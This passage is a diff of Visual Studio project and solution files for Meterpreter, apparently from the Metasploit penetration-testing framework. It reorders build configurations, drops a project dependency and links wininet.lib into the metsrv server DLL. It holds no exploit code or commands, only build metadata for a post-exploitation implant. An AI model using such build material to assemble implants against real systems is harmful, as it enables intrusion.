 				EnableFunctionLevelLinking="true"
@@ -206,6 +206,7 @@
 				ProgramDataBaseFileName=".\Release/"
 				WarningLevel="3"
 				DebugInformationFormat="3"
+				CompileAs="0"
 			/>
 			<Tool
 				Name="VCManagedResourceCompilerTool"

c/meterpreter/workspace/metcli/metcli.vcproj

@@ -113,6 +113,102 @@
 				CommandLine="copy debug\metcli.exe ..\..\output\client"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/metcli.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				PreprocessorDefinitions="_DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="0"
+				UsePrecompiledHeader="2"
+				PrecompiledHeaderThrough="metcli.h"
+				PrecompiledHeaderFile=".\Debug/metcli.pch"
+				AssemblerListingLocation=".\Debug/"
+				ObjectFile=".\Debug/"
+				ProgramDataBaseFileName=".\Debug/"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="common.lib ws2_32.lib odbc32.lib odbccp32.lib"
+				OutputFile=".\Debug/metcli.exe"
+				LinkIncremental="2"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories="..\common\Debug"
+				ModuleDefinitionFile="..\..\source\client\metcli.def"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\Debug/metcli.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/metcli.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="copy debug\metcli.exe ..\..\output\client"
+			/>
+		</Configuration>
 		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release"
@@ -210,102 +306,6 @@
 				CommandLine="copy /y &quot;$(ProjectDir)\release\metcli.exe&quot; &quot;$(ProjectDir)..\..\output\&quot;"
 			/>
 		</Configuration>
-		<Configuration
-			Name="Debug|x64"
-			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="1"
-			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
-			UseOfMFC="0"
-			ATLMinimizesCRunTimeLibraryUsage="false"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-				TypeLibraryName=".\Debug/metcli.tlb"
-				HeaderFileName=""
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="_DEBUG;WIN32;_CONSOLE;USE_DLL;METERPRETER_EXPORTS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="0"
-				UsePrecompiledHeader="2"
-				PrecompiledHeaderThrough="metcli.h"
-				PrecompiledHeaderFile=".\Debug/metcli.pch"
-				AssemblerListingLocation=".\Debug/"
-				ObjectFile=".\Debug/"
-				ProgramDataBaseFileName=".\Debug/"
-				WarningLevel="3"
-				SuppressStartupBanner="true"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-				PreprocessorDefinitions="_DEBUG"
-				Culture="1033"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="common.lib ws2_32.lib odbc32.lib odbccp32.lib"
-				OutputFile=".\Debug/metcli.exe"
-				LinkIncremental="2"
-				SuppressStartupBanner="true"
-				AdditionalLibraryDirectories="..\common\Debug"
-				ModuleDefinitionFile="..\..\source\client\metcli.def"
-				GenerateDebugInformation="true"
-				ProgramDatabaseFile=".\Debug/metcli.pdb"
-				SubSystem="1"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-				SuppressStartupBanner="true"
-				OutputFile=".\Debug/metcli.bsc"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy debug\metcli.exe ..\..\output\client"
-			/>
-		</Configuration>
 		<Configuration
 			Name="Release|x64"
 			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
@@ -424,7 +424,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -432,7 +432,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -460,7 +460,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -468,7 +468,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -497,7 +497,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -506,7 +506,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -540,7 +540,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -548,7 +548,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -576,7 +576,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -584,7 +584,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"

c/meterpreter/workspace/meterpreter.sln

@@ -56,7 +56,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_sniffer", "ext_s
 		{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}
 		{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
 		{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} = {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}
-		{405245AB-0071-4CB9-BFBE-ED4E2A987EFF} = {405245AB-0071-4CB9-BFBE-ED4E2A987EFF}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevator.vcproj", "{662AFBB3-F64A-4AD1-8956-B9F1B846231C}"
@@ -74,7 +73,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_pivot", "ext_ser
 		{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}
 		{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
 		{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB} = {37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}
-		{405245AB-0071-4CB9-BFBE-ED4E2A987EFF} = {405245AB-0071-4CB9-BFBE-ED4E2A987EFF}
 	EndProjectSection
 EndProject
 Global

c/meterpreter/workspace/metsrv/metsrv.vcproj

@@ -118,111 +118,6 @@
 				CommandLine="copy /y "$(ProjectDir)\debug\metsrv.dll" "$(ProjectDir)..\..\output\""
 			/>
 		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory=".\Release"
-			IntermediateDirectory=".\Release"
-			ConfigurationType="2"
-			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
-			UseOfMFC="0"
-			ATLMinimizesCRunTimeLibraryUsage="false"
-			CharacterSet="2"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				PreprocessorDefinitions="NDEBUG"
-				MkTypLibCompatible="true"
-				SuppressStartupBanner="true"
-				TargetEnvironment="1"
-				TypeLibraryName=".\Release/metsrv.tlb"
-				HeaderFileName=""
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				InlineFunctionExpansion="1"
-				FavorSizeOrSpeed="2"
-				AdditionalIncludeDirectories="..\..\source\openssl\include;..\..\source\server;..\..\source\common"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS"
-				StringPooling="true"
-				RuntimeLibrary="0"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="2"
-				PrecompiledHeaderThrough="metsrv.h"
-				PrecompiledHeaderFile=".\Release/metsrv.pch"
-				AssemblerListingLocation=".\Release/"
-				ObjectFile=".\Release/"
-				ProgramDataBaseFileName=".\Release/"
-				WarningLevel="3"
-				SuppressStartupBanner="true"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-				PreprocessorDefinitions="NDEBUG"
-				Culture="1033"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib ssleay32.lib libeay32.lib"
-				OutputFile=".\Release\metsrv.dll"
-				LinkIncremental="1"
-				SuppressStartupBanner="true"
-				AdditionalLibraryDirectories="..\common\Release; ..\..\source\openssl\lib\win"
-				GenerateManifest="false"
-				ModuleDefinitionFile="..\..\source\server\win\metsrv.def"
-				DelayLoadDLLs=""
-				GenerateDebugInformation="false"
-				GenerateMapFile="true"
-				MapFileName=".\Release/metsrv.map"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				ImportLibrary=".\Release/metsrv.lib"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-				SuppressStartupBanner="true"
-				OutputFile=".\Release/metsrv.bsc"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy /y &quot;$(ProjectDir)\release\metsrv.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
-			/>
-		</Configuration>
 		<Configuration
 			Name="Debug|x64"
 			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
@@ -323,6 +218,111 @@
 				CommandLine="copy debug\metsrv.dll ..\..\output\server"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory=".\Release"
+			IntermediateDirectory=".\Release"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="1"
+				TypeLibraryName=".\Release/metsrv.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="1"
+				InlineFunctionExpansion="1"
+				FavorSizeOrSpeed="2"
+				AdditionalIncludeDirectories="..\..\source\openssl\include;..\..\source\server;..\..\source\common"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;METSRV_EXPORTS;_CRT_SECURE_NO_WARNINGS"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="2"
+				PrecompiledHeaderThrough="metsrv.h"
+				PrecompiledHeaderFile=".\Release/metsrv.pch"
+				AssemblerListingLocation=".\Release/"
+				ObjectFile=".\Release/"
+				ProgramDataBaseFileName=".\Release/"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib wininet.lib ssleay32.lib libeay32.lib"
+				OutputFile=".\Release\metsrv.dll"
+				LinkIncremental="1"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories="..\common\Release; ..\..\source\openssl\lib\win"
+				GenerateManifest="false"
+				ModuleDefinitionFile="..\..\source\server\win\metsrv.def"
+				DelayLoadDLLs=""
+				GenerateDebugInformation="false"
+				GenerateMapFile="true"
+				MapFileName=".\Release/metsrv.map"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary=".\Release/metsrv.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/metsrv.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine="copy /y &quot;$(ProjectDir)\release\metsrv.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
+			/>
+		</Configuration>
 		<Configuration
 			Name="Release|x64"
 			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
@@ -388,7 +388,7 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib ssleay32.lib libeay32.lib"
+				AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib ssleay32.lib wininet.lib libeay32.lib"
 				OutputFile=".\Release\metsrv.x64.dll"
 				LinkIncremental="1"
 				SuppressStartupBanner="true"
@@ -448,7 +448,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -456,7 +456,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -485,7 +485,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -494,7 +494,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -528,7 +528,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Release|Win32"
+					Name="Debug|x64"
 					>
 					<Tool
 						Name="VCCLCompilerTool"
@@ -536,7 +536,7 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
-					Name="Debug|x64"
+					Name="Release|Win32"
 					>
 					<Tool
 						Name="VCCLCompilerTool"